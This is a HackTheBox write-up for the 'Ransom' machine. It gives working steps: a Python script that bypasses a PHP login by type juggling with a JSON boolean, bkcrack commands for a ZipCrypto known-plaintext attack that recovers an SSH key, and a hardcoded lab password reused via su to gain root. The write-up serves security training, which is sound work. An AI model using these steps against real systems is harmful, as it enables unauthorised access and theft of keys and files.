HTB: Ransom Writeup

Ransom - HackTheBox Writeup

Machine Information

AttributeDetails
NameRansom
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Ransom is a Medium-difficulty Linux box built around a custom Laravel-based file transfer app called “E Corp Secure File Transfer”. The login endpoint only accepted GET requests, which — combined with a PHP loose (==) comparison in the password check — allowed a classic type-juggling authentication bypass. Once authenticated, the app exposed a user.txt flag and a ZIP backup of a user’s home directory. That archive was protected with the legacy ZipCrypto cipher, which is vulnerable to a known-plaintext attack whenever an attacker can supply a byte-identical copy of any file inside the archive — in this case a stock .bash_logout. Recovering the ZipCrypto keys decrypted the archive and yielded an SSH private key, giving a foothold as htb. From there, the same hardcoded password used by the web login was found in the Laravel source and reused to su directly to root.

TL;DR: HTTP method confusion on /api/login → PHP type juggling (password: true) → authenticated file download (user.txt + home-directory ZIP) → ZipCrypto known-plaintext attack recovers archive keys → decrypted .ssh/id_rsa → SSH foothold as htb → hardcoded password in AuthController.php reused via su → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- TARGET_IP

Results:

22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Apache (Laravel) - "E Corp Secure File Transfer"

Only two services exposed: SSH and a web app. With no valid credentials yet, port 80 was the only viable entry point.

Service Enumeration

The web app on port 80 is a Laravel-backed “Secure File Transfer” portal gated behind a login form. Watching the network traffic when submitting the login form showed the frontend JavaScript making an asynchronous request to /api/login rather than a normal form POST. Probing that endpoint directly showed it only accepts GET/HEAD — a POST is rejected outright by the route definition.

Vulnerability Assessment

  1. /api/login is registered as a GET-only route, but the password check logic behind it still expects to read a password value from the request — an unusual design that opens the door to method/parameter confusion.
  2. The password comparison in the underlying AuthController uses PHP’s loose == operator, making it vulnerable to type juggling when the input is a JSON boolean instead of a string.
  3. The authenticated portal serves a home-directory backup archive encrypted with the legacy ZipCrypto stream cipher, which is broken by a known-plaintext attack when any archive member’s exact bytes can be reproduced by the attacker.
  4. The same plaintext password hardcoded in the Laravel controller for the web login was also valid as the local root account password on the box — a credential-reuse chain from application layer straight to OS layer.

Initial Foothold

Authentication Bypass — HTTP Method Confusion + PHP Type Juggling

Since /api/login only accepts GET, a normal POST {"password": "..."} gets rejected. Sending the request as GET with a JSON body and an explicit Content-Type: application/json header, however, is accepted and parsed. That opens up the password field to arbitrary JSON types — not just strings. Sending the JSON boolean true as the password causes PHP’s loose comparison ($request->get('password') == $realPassword) to evaluate to true regardless of what the real password string is, because a boolean true loosely equals any non-empty string in PHP.

The authenticated session only lives in-memory (cookie-backed), so the bypass and the follow-up requests had to be driven through a single persistent requests.Session():

import requests
BASE = "http://TARGET_IP"
s = requests.Session()
# GET request carrying a JSON body — bypasses the POST-only expectation
# and the {"password": true} triggers PHP's == type juggling
resp = s.get(
f"{BASE}/api/login",
headers={"Content-Type": "application/json"},
json={"password": True},
)
print(resp.text) # -> "Login Successful"

With loggedin now set in the session, requesting the authenticated homepage in the same session listed the available files:

# Authenticated file listing / download, same session
listing = s.get(f"{BASE}/")
files = s.get(f"{BASE}/user.txt")
archive = s.get(f"{BASE}/uploaded-file-3422.zip")
open("user.txt", "wb").write(files.content)
open("uploaded-file-3422.zip", "wb").write(archive.content)
Terminal window
cat user.txt
# <redacted>

ZipCrypto Known-Plaintext Attack

uploaded-file-3422.zip turned out to be a backup of a Linux home directory, including an .ssh/ folder — but the archive was password-protected. Inspecting it showed it was encrypted with ZipCrypto (the original, legacy PKZip stream cipher), not modern AES. ZipCrypto is well known to be breakable via a known-plaintext attack: if an attacker can produce byte-identical content for any single file inside the archive, the encryption keystream can be derived from it (Biham–Kocher), and those keys unlock every other file in the archive — no password needed.

The archive contained a .bash_logout, a file that ships unmodified with every Debian/Ubuntu skeleton profile and is rarely touched by users. Checking its CRC32 against a stock copy confirmed a match:

Terminal window
# Archive listing showed:
# .bash_logout CRC = 6CE3189B Method = ZipCrypto
# Compare against the jump box's own stock skeleton file
python3 -c "
import binascii
data = open('/etc/skel/.bash_logout', 'rb').read()
print('%08X' % (binascii.crc32(data) & 0xFFFFFFFF), len(data))
"
# 6CE3189B 220

The CRC32 and exact byte length (220 bytes) matched the archive entry exactly, confirming the plaintext was identical. The jump host had no cmake or bkcrack installed, and /tmp was full, so the attack was staged from /dev/shm/ra using the prebuilt bkcrack 1.7.0 release binary:

Terminal window
mkdir -p /dev/shm/ra && cd /dev/shm/ra
# Build a small reference zip containing the known plaintext file
cp /etc/skel/.bash_logout .
zip unencrypted.zip .bash_logout
# Recover the ZipCrypto internal keys via known-plaintext attack
bkcrack -C uploaded-file-3422.zip -c .bash_logout \
-P unencrypted.zip -p .bash_logout
# Keys: 7b549874 ebc25ec5 7e465e18
# Use the recovered keys to write out a re-encrypted archive under a KNOWN password
bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 \
-U decrypted.zip newpass
# Extract using the now-known password
unzip -P newpass decrypted.zip -d home_backup/

This recovered the full home directory backup, including .ssh/id_rsa for the box’s htb user.

SSH Foothold

Terminal window
chmod 600 home_backup/.ssh/id_rsa
ssh -i home_backup/.ssh/id_rsa htb@TARGET_IP
htb@ransom:~$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb)

Privilege Escalation

With a shell as htb, the Laravel application source was reachable on disk and was searched for the same “Invalid Password” string surfaced by the login logic:

Terminal window
htb@ransom:~$ grep -r "Invalid Password" /srv/prod
app/Http/Controllers/AuthController.php: return "Invalid Password";

Reading the controller revealed the hardcoded plaintext password backing the type-juggling bypass earlier:

Terminal window
htb@ransom:~$ cat /srv/prod/app/Http/Controllers/AuthController.php
# ...
# if ($request->get('password') == "UHC-March-Global-PW!") {
# session(['loggedin' => True]);
# return "Login Successful";
# }
# return "Invalid Password";

Application secrets hardcoded into source are a common place for password reuse to creep in across services on the same host. That exact string was reused as the local root password:

Terminal window
htb@ransom:~$ su -
Password: UHC-March-Global-PW!
root@ransom:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ransom:~# cat /root/root.txt
# <redacted>

Attack Chain Summary

HTTP method confusion on /api/login (GET-only, JSON body)
→ PHP loose-comparison type juggling ({"password": true})
→ Authenticated session → download user.txt + home-directory ZIP backup
→ ZipCrypto known-plaintext attack (.bash_logout CRC match) via bkcrack
→ Recovered keys → decrypted archive → .ssh/id_rsa for htb
→ SSH foothold as htb (uid 1000)
→ grep "Invalid Password" in /srv/prod → hardcoded password in AuthController.php
→ su - reusing hardcoded password → root

Tools Used

ToolPurpose
nmapPort scanning and service fingerprinting
python3 / requestsCrafting the GET-with-JSON-body auth bypass, maintaining an authenticated session, downloading files
bkcrack (v1.7.0)ZipCrypto known-plaintext attack — key recovery and archive decryption
unzip / zipArchive inspection and known-plaintext reference archive creation
sshFoothold access using the recovered private key
grepLocating the hardcoded password string in the Laravel source
suPrivilege escalation using the reused hardcoded credential

Key Learnings

Techniques Practiced

  • HTTP method confusion to reach handler logic not meant to be exposed on a given verb
  • PHP loose-comparison (==) type juggling with a JSON boolean to bypass a string password check
  • ZipCrypto known-plaintext attack using a stock, rarely-modified dotfile as the reference plaintext
  • Reusing an application-layer hardcoded secret found via source-code grepping to pivot to OS-level root

Lessons Learned

  1. Route method restrictions (GET-only, etc.) are not a security boundary on their own — the handler behind the route still needs to validate input type and format defensively.
  2. Never compare secrets with PHP’s loose ==; always use === or a constant-time string comparison for credential checks.
  3. Legacy ZipCrypto should never be used to protect sensitive archives (SSH keys, backups) — any archive member with predictable/stock content is enough to fully break it. Use AES-256 ZIP encryption instead.
  4. Hardcoded credentials in application source are a liability beyond the application itself — once found, always test them against every other authentication surface on the host (SSH, su, database, etc.).
  5. When local scratch space (/tmp) is constrained mid-engagement, /dev/shm is a reliable fallback for staging tool builds and temporary archives.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • “Ransom” official HackTheBox writeup — Document No. D24.100.271, prepared by amra, machine authored by ippsec. Used only for explanatory background on the type-juggling authentication bypass and the ZipCrypto known-plaintext attack technique; all IPs, commands, outputs, and credentials in this writeup come from this author’s own solve.